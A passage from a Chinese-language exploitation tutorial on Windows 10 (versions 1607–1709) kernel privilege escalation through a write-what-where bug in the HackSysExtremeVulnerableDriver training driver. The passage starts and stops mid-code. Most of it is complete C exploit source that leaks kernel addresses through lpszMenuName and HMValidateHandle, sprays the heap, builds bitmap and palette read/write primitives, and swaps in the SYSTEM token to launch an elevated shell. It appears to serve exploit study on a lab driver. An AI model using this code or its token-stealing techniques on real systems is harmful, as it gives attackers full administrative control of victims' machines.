lpNextEPROCESS = (DWORD64)((PUCHAR)lpNextEntryAddreess.Flink - 0x2f0);
// 获取PID
readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2e8, &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
readOOB(hManagerbitmap, hWorkerbitmap, lpNextEPROCESS + 0x2f0, &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
writeOOB(hManagerbitmap, hWorkerbitmap, currentTokenAddress, lpSystemToken, sizeof(LPVOID));
//system("whoami\n");
CreateCmd();
system("pause");
CloseHandle(hManagerbitmap);
CloseHandle(hWorkerbitmap);
return 0;
}
可以看到最后是成功了的.
最后我们总结一下RS1在WWW下的利用.
1.创建两个bitmap对象
2.利用 AcceleratorTables 间接获得pvScan0的地址(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
还有个要注意的地方就是nSize的大小和 CreateBitmap 的参数有一个对应关系,关系不对的话也是不能成功的.因为我这里是直接用的别人的数据,没仔细研究过,不过后来这个坑让我在1709也就是RS3踩到了.后面我会讲我是怎么踩到坑以及如何解决的.如果你想了解更多的话,请参考这里
0x05:RS2(win10_x64_1703)下的WWW
由前面的RS1下的WWW我们得知利用 AcceleratorTables 间接获得pvScan0的地址的绕过手段在RS2下被kill掉了.那么在RS2下我们的WWW漏洞又该如何利用呢?上图
通过图片我们可以看到我们能通过WNDCLASSEX.lpszMenuName泄露pvScan0的地址.那么什么是WNDCLASSEX.lpszMenuName呢?上图
图片来源
这是CVE-2018-8453中的一段代码.我们只需要关注我箭头所指向的内容就好.
那么问题来了,我们怎么利用 WNDCLASSEX.lpszMenuName 泄露pvScan0的地址呢?
这里我们通过设置lpszMenuName的大小,释放掉,然后创建bitmap对象,如果bitmap申请到了对应的pool,那么我们就间接获得了pvScan0的地址.这里我也是用的别人的数据.
char buf[0x8f0];
memset(buf, 0x41, 0x8f0);
WNDCLASSEX wndclass = { 0x0 };
wndclass.cbSize = sizeof(wndclass);
wndclass.lpszClassName = TEXT("case");
wndclass.lpszMenuName = buf;
wndclass.lpfnWndProc = DefWindowProc;
......
hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
hbmp.kAddr = curr;//这是leak的lpszMenuName地址,有个判断当前申请的是否是前一个申请的
hbmp.pvScan0 = (PUCHAR)(curr + 0x50);
我们现在知道了我们怎么通过lpszMenuName找pvScan0的地址,那么问题来了,我们怎么获得lpszMenuName的地址呢?
我们可以使用HMValidateHandle()函数,该函数有两个参数,参数1为传入的Windows Object句柄,参数2为句柄属性,该函数会返回查找Windows Object结构在用户态映射下的地址(用户态桌面堆).然后再通过一系列的偏移找到lpszMenuName的地址.
其中HMValidateHandle( )这个函数可以通过硬编码得到.硬编码的知识我不是很了解,不过我记得<滴水逆向三期视频>里有相关的内容,有兴趣的同学可以自己去了解下…
其他的没什么好说的了.exp贴贴:
#include<stdio.h>
#include<Windows.h>
typedef struct _hBmp
{
HBITMAP hBmp;
DWORD64 kAddr;
PUCHAR pvScan0;
}HBMP, * PHBMP;
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
typedef struct _payload {
PULONG_PTR what;
PULONG_PTR where;
} Payload, * PPayload;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
HANDLE hDevice = NULL;
HBMP workerBmp;
HBMP managerBmp;
lHMValidateHandle pHmValidateHandle = NULL;
DWORD64 UserKernelDesktopHeap = 0;
DWORD64 kernelDesktopHeap = 0;
DWORD64 ulClientDelta = 0;
BOOL init()
{
printf("[+]Start to get HANDLE");
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf(" => done!\n");
return TRUE;
}
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
printf("[+]HMValidateHandle address is : 0x%p\n", pHmValidateHandle);
return TRUE;
}
DWORD64 leakBitmap()
{
/*
*[+]Get Client Delta
*/
printf("[+]Start to get Client Delta");
DWORD64 tebBase = (DWORD64)NtCurrentTeb();
UserKernelDesktopHeap = *(PDWORD64)(tebBase + 0x828);
kernelDesktopHeap = *(PDWORD64)(UserKernelDesktopHeap + 0x28);
ulClientDelta = kernelDesktopHeap - UserKernelDesktopHeap;
printf(" => done!\n");
printf("[+]Client Delta address is 0x%p\n", ulClientDelta);
return 0;
}
DWORD64 leakWnd(HWND leakWnd)
{
/*
*[+]Leak Wnd address
*/
PDWORD64 buffer = (PDWORD64)UserKernelDesktopHeap;
DWORD i = 0;
while (1)
{
if (buffer[i] == (DWORD64)leakWnd)
{
printf("[+]Wnd address is 0x%p\n", (DWORD64)(buffer + i));
return (DWORD64)(buffer + i);
}
i++;
}
}
DWORD64 lpszMenuName(HWND hwnd)
{
leakBitmap();
DWORD64 wndaddr = leakWnd(hwnd);
DWORD64 kernelTagCls = *(PDWORD64)(wndaddr + 0xa8);
DWORD64 lpszNamemenuAddr = *(PDWORD64)(kernelTagCls - ulClientDelta + 0x90);
printf("[+]kernel address lpszMenuName at: 0x%p\n", lpszNamemenuAddr);
return lpszNamemenuAddr;
}
HBMP leak()
{
HBMP hbmp = { 0x0 };
DWORD64 curr = 0;
DWORD64 prev = 1;
/*
*[+]Heap spray biu biu biu ~
*/
for (int i = 0; i < 0x700; i++)
{
char buf[0x8f0];
memset(buf, 0x41, 0x8f0);
WNDCLASSEX wndclass = { 0x0 };
wndclass.cbSize = sizeof(wndclass);
wndclass.lpszClassName = TEXT("case");
wndclass.lpszMenuName = buf;
wndclass.lpfnWndProc = DefWindowProc;
int result = RegisterClassExA(&wndclass);
if (!result)
{
printf("RegisterClassEx error: %d\r\n", GetLastError());
}
HWND test = CreateWindowExA(
0,
wndclass.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
curr = lpszMenuName(test);
/*
*[+]If they are equal, we can get a stable address :)
*/
if (curr == prev)
{
DestroyWindow(test);
UnregisterClassA(wndclass.lpszClassName, NULL);
WCHAR* Buff = (WCHAR*)malloc(sizeof(WCHAR) * 0x50 * 2 * 4);
RtlSecureZeroMemory(Buff, 0x50 * 2 * 4);
RtlFillMemory(Buff, 0x50 * 2 * 4, '\x41');
hbmp.hBmp = CreateBitmap(0x701, 2, 1, 8, Buff);
hbmp.kAddr = curr;
hbmp.pvScan0 = (PUCHAR)(curr + 0x50);
printf("hbmp.pvScan0 address ---> %p", hbmp.pvScan0);
return hbmp;
}
DestroyWindow(test);
UnregisterClassA(wndclass.lpszClassName, NULL);
prev = curr;
}
return hbmp;
}
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
VOID Leak_Trigger()
{
/*
*[+]Step1:Get HMValidateHandle address
*/
BOOL bFound = FindHMValidateHandle();
if (!bFound) {
printf("Failed to locate HmValidateHandle, exiting\n");
return;
}
/*
*[+]Step2:Define window
*/
WNDCLASSEX wnd = { 0x0 };
wnd.cbSize = sizeof(wnd);
wnd.lpszClassName = TEXT("MainWClass");
wnd.lpszMenuName = TEXT("AAAAA");
wnd.lpfnWndProc = DefWindowProc;
int result = RegisterClassEx(&wnd);
if (!result)
{
printf("RegisterClassEx error: %d\r\n", GetLastError());
}
/*
*[+]Step3:Create window
*/
HWND test = CreateWindowEx(
0,
wnd.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
/*
*[+]Step4:Compute address of Bitmap
*/
managerBmp = leak();
workerBmp = leak();
printf("[+]ManagerBmp address leak pvScan0 at: 0x%p\n", managerBmp.pvScan0);
printf("[+]WorkerBmp address leak pvScan0 at: 0x%p\n", workerBmp.pvScan0);
/*
*[+]Step5:You know it => Write What Where
*/
PPayload payload = NULL;
payload = (PPayload)HeapAlloc(GetProcessHeap(),
HEAP_ZERO_MEMORY,
sizeof(Payload));
payload->what = (PULONG_PTR)&workerBmp.pvScan0;
payload->where = (PULONG_PTR)managerBmp.pvScan0;
DWORD BytesReturned = 0;
DeviceIoControl(hDevice, 0x0022200B, (LPVOID)payload, sizeof(Payload), NULL, 0, &BytesReturned, NULL);
}
VOID readOOB(DWORD64 whereRead, LPVOID whatValue, int len)
{
SetBitmapBits(managerBmp.hBmp, len, &whereRead);
GetBitmapBits(workerBmp.hBmp, len, whatValue); // read
}
VOID writeOOB(DWORD64 whereWrite, LPVOID whatValue, int len)
{
SetBitmapBits(managerBmp.hBmp, len, &whereWrite);
SetBitmapBits(workerBmp.hBmp, len, &whatValue); // write
}
DWORD64 stealToken()
{
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("[+]Failed to get NtQuerySystemInformation\n");
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo)
{
printf("[+]Failed to get moduleInfo\n");
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
LPVOID kernelImage = moduleInfo->Module[0].FullPathName;
printf("[+]kernel base address is at: 0x%p\n", kernelBase);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
printf("[+]kernel name is: %s\n", lpkernelName);
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
if (hUserSpacekernel == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel);
VirtualFree(moduleInfo, 0, MEM_RELEASE);
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LPVOID lpSystemToken = NULL;
LIST_ENTRY lpNextEntryAddreess;
readOOB((DWORD64)pLiveFunctionAddress, &lpSystemEPROCESS, sizeof(LPVOID));
readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2e8), &lpSysProcID, sizeof(LPVOID));
readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x358), &lpSystemToken, sizeof(LPVOID));
readOOB((DWORD64)((PUCHAR)lpSystemEPROCESS + 0x2f0), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
printf("[+]system process address is: 0x%p\n", lpSystemEPROCESS);
printf("[+]Next Process AT: 0x%p\n", lpNextEntryAddreess.Flink);
printf("[+]system process token value is: 0x%p\n", lpSystemToken);
printf("[+]system process PID is: 0x%p\n", lpSysProcID);
DWORD64 currentProcessID = GetCurrentProcessId();
LPVOID lpNextEPROCESS = NULL;
LPVOID lpCurrentPID = NULL;
LPVOID lpCurrentToken = NULL;
DWORD dwCurrentPID;
do
{
lpNextEPROCESS = (PUCHAR)lpNextEntryAddreess.Flink - 0x2e8;
readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e0), &lpCurrentPID, sizeof(LPVOID));
dwCurrentPID = LOWORD(lpCurrentPID);
readOOB((DWORD64)((PUCHAR)lpNextEPROCESS + 0x2e8), &lpNextEntryAddreess, sizeof(LIST_ENTRY));
} while (dwCurrentPID != currentProcessID);
DWORD64 currentTokenAddress = (DWORD64)lpNextEPROCESS + 0x358;
printf("[+]Start to write token");
writeOOB(currentTokenAddress, lpSystemToken, sizeof(LPVOID));
printf(" => done!\n");
}
int main() {
init();
Leak_Trigger();
stealToken();
CreateCmd();
system("pause");
return 0;
}
可以看到最后我们是成功提权了的.
最后总结一下利用过程:
1.通过WNDCLASSEX.lpszMenuName找到将要创建的bitmap对象的pvScan0地址(level up)
2.创建bitmap对象并对应到pvScan0的地址.(level up)
3.用漏洞改掉bitmap对象中pvScan0的值
4.替换Token
0x06:RS3(WIN10_X64_1709)下的WWW
嗯,不出所料的,RS2下的利用手段在RS3下被kill掉了.然后k0shl师傅提出了一种新的利用手段.说实话,看不懂…
然后这里我要讲的是另外一种绕过技术,也是比较通用的技术—使用paltte进行读写.
话不多说,上图
其实这个和bitmap类似,其中第一个红框框代表的是第二个红框框指向的内容的大小,第二个红框框指向的内容可以进行读写.
这里进行读写使用的是SetPaletteEntries函数和GetPaletteEntries函数.
其他的和RS2下的WWW漏洞利用一样,改一下偏移等数据就好.
然后这里我copy的k0shl师傅的代码,发现行不通,像这样
但是k0shl师傅的exe是可以成功提权的.
后来经过分析发现,是没有申请到对应的 lpszMenuName 所导致的.我直接这么说可能难以理解.上图
如图,如果不成功的话,!pool出来的是 Ustx,而且是free状态.然后成功了的话是这样的
!pool出来的是 Gh08,而且是Allocated状态.(那个*打不出来)
然后提一下我是怎么定位到关键数据的.
最开始我是根据输出定位到Worker_Palette的,然后意识到可能是palette出了问题,然后网上查找palette相关的内容,然后我找到了晏子霜师傅的CVE-2018-8453分析,用其中palette相关的内容leak成功.然后打算加入到我的代码中来,结果发现程序一调用CreatePalette函数就崩溃,也不知道为什么会崩溃,最后我尝试用k0shl师傅的代码改size大小,成功了.当然直接在k0shl师傅的exploit里改size大小是会崩溃的.
代码贴贴:
#include<stdio.h>
#include<Windows.h>
#define HACKSYS_EVD_IOCTL_ARBITRARY_OBJECT CTL_CODE(FILE_DEVICE_UNKNOWN, 0X802, METHOD_NEITHER, FILE_ANY_ACCESS)
typedef void* (NTAPI* lHMValidateHandle)(HWND h, int type);
typedef struct _WRITE_WHAT_WHERE {
PULONG_PTR What;
PULONG_PTR Where;
} WRITE_WHAT_WHERE, * PWRITE_WHAT_WHERE;
PVOID IsMenu_Address = NULL, HMValidateHandle_Address = NULL;
typedef HWND(__fastcall* My_HMValidateHandle)(
HWND Window,
ULONG Number
);
My_HMValidateHandle HMValidateHandle = NULL;
LOGPALETTE* Palette = NULL;
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemProcessInformation = 5,
SystemProcessorPerformanceInformation = 8,
SystemModuleInformation = 11,
SystemInterruptInformation = 23,
SystemExceptionInformation = 33,
SystemRegistryQuotaInformation = 37,
SystemLookasideInformation = 45
} SYSTEM_INFORMATION_CLASS;
typedef NTSTATUS(NTAPI* _NtQuerySystemInformation)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength
);
typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, * PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION {
ULONG NumberOfModules;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;
typedef struct _HEAD
{
HANDLE h;
DWORD cLockObj;
} HEAD, * PHEAD;
typedef struct _THROBJHEAD
{
HEAD h;
PVOID pti;
} THROBJHEAD, * PTHROBJHEAD;
typedef struct _G_PALETTE
{
HPALETTE _hpalette;
DWORD64 _kobj_palette;
DWORD flag;
} GPALETTE, * PGPALETTE;
typedef struct _THRDESKHEAD
{
THROBJHEAD h;
PVOID rpdesk;
PVOID pSelf; // points to the kernel mode address
} THRDESKHEAD, * PTHRDESKHEAD;
PWRITE_WHAT_WHERE WriteWhatWhere = NULL;
HANDLE hDevice = NULL;
lHMValidateHandle pHmValidateHandle = NULL;
PGPALETTE Worker_Palette;
PGPALETTE Manager_Palette;
DWORD BytesReturned = 0;
static VOID CreateCmd()
{
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi = { 0 };
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_SHOW;
WCHAR wzFilePath[MAX_PATH] = { L"cmd.exe" };
BOOL bReturn = CreateProcessW(NULL, wzFilePath, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOW)&si, &pi);
if (bReturn) CloseHandle(pi.hThread), CloseHandle(pi.hProcess);
}
BOOL init()
{
printf("[+]Start to get HANDLE");
// Get HANDLE
hDevice = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
GENERIC_READ | GENERIC_WRITE,
NULL,
NULL,
OPEN_EXISTING,
NULL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE || hDevice == NULL)
{
return FALSE;
}
printf("Create HEVD Device Success,Handle at: 0x%p\n", hDevice);
return TRUE;
}
BOOL FindHMValidateHandle() {
HMODULE hUser32 = LoadLibraryA("user32.dll");
if (hUser32 == NULL) {
printf("Failed to load user32");
return FALSE;
}
BYTE* pIsMenu = (BYTE*)GetProcAddress(hUser32, "IsMenu");
if (pIsMenu == NULL) {
printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
return FALSE;
}
unsigned int uiHMValidateHandleOffset = 0;
for (unsigned int i = 0; i < 0x1000; i++) {
BYTE* test = pIsMenu + i;
if (*test == 0xE8) {
uiHMValidateHandleOffset = i + 1;
break;
}
}
if (uiHMValidateHandleOffset == 0) {
printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
return FALSE;
}
unsigned int addr = *(unsigned int*)(pIsMenu + uiHMValidateHandleOffset);
unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
printf("[+]HMValidateHandle address is : 0x%p\n", pHmValidateHandle);
return TRUE;
}
HPALETTE createPaletteofSize(int size) {
// we alloc a palette which will have the specific size on the paged session pool.
if (size <= 0x90) {
printf("Bad size! can't allocate palette of size < 0x90!");
return 0;
}
int pal_cnt = (size - 0x90) / 4;
int palsize = sizeof(LOGPALETTE) + (static_cast<__int64>(pal_cnt) - 1) * sizeof(PALETTEENTRY);
LOGPALETTE* lPalette = (LOGPALETTE*)malloc(palsize);
printf("palsize -->%llX\n", palsize);
printf("lPalette address =======>%p\n", lPalette);
memset(lPalette, 0x66, palsize);
lPalette->palNumEntries = pal_cnt;
printf("lPalette->palNumEntries %llX\n", lPalette->palNumEntries);
lPalette->palVersion = 0x300;
printf("lPalette->palVersion %llX\n", lPalette->palVersion);
//__debugbreak();
return CreatePalette(lPalette);
}
VOID readOOB(HPALETTE worker_palette, HPALETTE manager_palette, DWORD64* target_address, BYTE* data, int size) {
if (!manager_palette || !worker_palette) {
printf("Palettes not initialized yet!");
/*return 0;*/
}
// overflow into worker_palette to set values
SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);
// trigger GetPaletteEntries on worker_palette to read the actual data
// return actual amount of bytes read (*4), not amount of palette entries read
//__debugbreak();
GetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);
}
int writeOOB(HPALETTE worker_palette, HPALETTE manager_palette, UINT64 target_address, BYTE* data, int size) {
if (!manager_palette || !worker_palette) {
printf("Palettes not initialized yet!\n");
return 0;
}
// overflow into worker_palette to set values
SetPaletteEntries(manager_palette, 0, sizeof(PVOID) / sizeof(PALETTEENTRY), (PALETTEENTRY*)&target_address);
// trigger SetPaletteEntries on worker_palette to write the actual data
// return actual amount of bytes written (*4), not amount of palette entries written
return SetPaletteEntries(worker_palette, 0, size / sizeof(PALETTEENTRY), (PALETTEENTRY*)data);
}
PVOID Find_Functions(LPCSTR Dll_Name, LPCSTR F_Name) {
HMODULE Dll_HMODULE = NULL;
PVOID F_Address = NULL;
Dll_HMODULE = LoadLibraryA(Dll_Name);
if (Dll_HMODULE == NULL) {
printf("%s Find Error!\n", Dll_Name);
return NULL;
}
printf("Address(%s):0x%p\n", Dll_Name, Dll_HMODULE);
F_Address = GetProcAddress(Dll_HMODULE, F_Name);
if (F_Address == NULL) {
printf("Function(%s) Find Error!\n", F_Name);
return NULL;
}
printf("Address(%s):0x%p\n", F_Name, F_Address);
return F_Address;
}
PVOID Find_HMValidateHandle(PVOID IsMenu_Address) {
ULONG64 HMV_Adr = 0;
while (1) {
if (*(char*)IsMenu_Address == '\xE8') {
HMV_Adr = *(ULONG*)((ULONG64)IsMenu_Address + 1);
HMV_Adr += (ULONG64)IsMenu_Address + 0x05 - 0x100000000;
return (PVOID)HMV_Adr;
}
IsMenu_Address = (char*)IsMenu_Address + 1;
}
return 0;
}
ULONG64 PEB = NULL, fnDWORD_Address = NULL, To_Where_A_Palette = NULL, ulClientDelta = NULL;
DWORD64 lpszMenuName(HWND hwnd) {
IsMenu_Address = Find_Functions("user32.dll", "IsMenu");
HMValidateHandle_Address = Find_HMValidateHandle(IsMenu_Address);
printf("HMValidateHandle Address(0x%p)\n", HMValidateHandle_Address);
HMValidateHandle = (My_HMValidateHandle)HMValidateHandle_Address;
ULONG64 tagWND = (ULONG64)HMValidateHandle(hwnd, 0x01);
ulClientDelta = (ULONG64)((*(ULONG64*)(tagWND + 0x20)) - (ULONG64)tagWND);
DWORD64 KerneltagCLS = (*(ULONG64*)(tagWND + 0xa8)) - ulClientDelta;
DWORD64 lpszMenuNameA = *(ULONG64*)(KerneltagCLS + 0x98);
printf("lpszMenuNameA_address %llX\n", lpszMenuNameA);
return lpszMenuNameA;
}
PGPALETTE CreatePaletteInHole()
{
printf("aaaaaa\n");
PGPALETTE pgpalette = (PGPALETTE)malloc(sizeof(PGPALETTE));
TCHAR st[0x68];
WNDCLASSEX Class2 = { 0 };
DWORD64 lpszMenuNameB = 0x666;
memset(st, 0x66, sizeof(st));
Class2.lpfnWndProc = DefWindowProc;
Class2.lpszClassName = TEXT("k0shl");
Class2.lpszMenuName = st;
Class2.cbSize = sizeof(WNDCLASSEX);
DWORD dwcount = 0;
for (int i = 0; i < 0x666; i++)
{
int result = RegisterClassEx(&Class2);
if (!result)
{
printf("RegisterClassEx error: %d\n", GetLastError());
exit(-1);
}
//Int_3();
HWND test = CreateWindowEx(
0,
Class2.lpszClassName,//wnd.lpszClassName,
TEXT("WORDS"),
0,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
CW_USEDEFAULT,
NULL, NULL, NULL, NULL);
//Int_3();
PTHRDESKHEAD tagWND = (PTHRDESKHEAD)pHmValidateHandle(test, 1);
//Int_3();
DWORD64 KerneltagWND = (DWORD64)(tagWND->pSelf);
DWORD64 UsertagWND = (DWORD64)tagWND;
//Int_3();
DWORD64 ulClientDelta = KerneltagWND - UsertagWND;
DWORD64 KerneltagCLS = *(PDWORD64)(UsertagWND + 0xa8);
DWORD64 lpszMenuNameA = *(PDWORD64)(KerneltagCLS - ulClientDelta + 0x98);
printf("lpszMenuNameA address --->%llX\n", lpszMenuNameA);
if (lpszMenuNameB == lpszMenuNameA)
{
__debugbreak();
DestroyWindow(test);
//createPaletteofSize(0x190);
UnregisterClass(Class2.lpszClassName, NULL);
//Int_3();
__debugbreak();
pgpalette->_hpalette = (HPALETTE)createPaletteofSize(0x100);
printf("pgpalette->hpalette %p\n", pgpalette->_hpalette);
pgpalette->_kobj_palette = lpszMenuNameA;
pgpalette->flag = 1;
printf("success!!!!!\n");
__debugbreak();
return pgpalette;
}
DestroyWindow(test);
//createPaletteofSize(0x190);
UnregisterClass(Class2.lpszClassName, NULL);
lpszMenuNameB = lpszMenuNameA;
printf("lpszMenuNameB_address ===>%llX\n", lpszMenuNameB);
}
return 0;
}
DWORD64 stealToken()
{
_NtQuerySystemInformation NtQuerySystemInformation = (_NtQuerySystemInformation)
GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
if (NtQuerySystemInformation == NULL)
{
printf("[+]Failed to get NtQuerySystemInformation\n");
return NULL;
}
DWORD len;
NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len);
PSYSTEM_MODULE_INFORMATION moduleInfo = NULL;
moduleInfo = (PSYSTEM_MODULE_INFORMATION)VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!moduleInfo)
{
printf("[+]Failed to get moduleInfo\n");
return NULL;
}
NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len);
LPVOID kernelBase = moduleInfo->Module[0].ImageBase;
LPVOID kernelImage = moduleInfo->Module[0].FullPathName;
printf("[+]kernel base address is at: 0x%p\n", kernelBase);
LPCSTR lpkernelName = (LPCSTR)(moduleInfo->Module[0].FullPathName + moduleInfo->Module[0].OffsetToFileName);
printf("[+]kernel name is: %s\n", lpkernelName);
HMODULE hUserSpacekernel = LoadLibraryExA(lpkernelName, 0, 0);
if (hUserSpacekernel == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pUserKernelSymbol = GetProcAddress(hUserSpacekernel, "PsInitialSystemProcess");
if (pUserKernelSymbol == NULL)
{
VirtualFree(moduleInfo, 0, MEM_RELEASE);
return NULL;
}
FARPROC pLiveFunctionAddress = (FARPROC)((PUCHAR)pUserKernelSymbol - (PUCHAR)hUserSpacekernel + (PUCHAR)kernelBase);
FreeLibrary(hUserSpacekernel);
VirtualFree(moduleInfo, 0, MEM_RELEASE);
printf("pLiveFunctionAddress ============>%llX\n", pLiveFunctionAddress);
LPVOID lpSystemEPROCESS = NULL;
LPVOID lpSysProcID = NULL;
LPVOID lpSystemToken = NULL;
LIST_ENTRY lpNextEntryAddreess;
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)pLiveFunctionAddress, (BYTE*)&lpSystemEPROCESS, sizeof(DWORD64));
//__debugbreak();
readOOB(Worker_Palette->_hpalette, Manager_Palette->_hpalette, (DWORD64*)((PUCHAR)lpSystemEPROCESS + 0x2e0), (BYTE*)&lpSysProcID, sizeof(DWORD64));
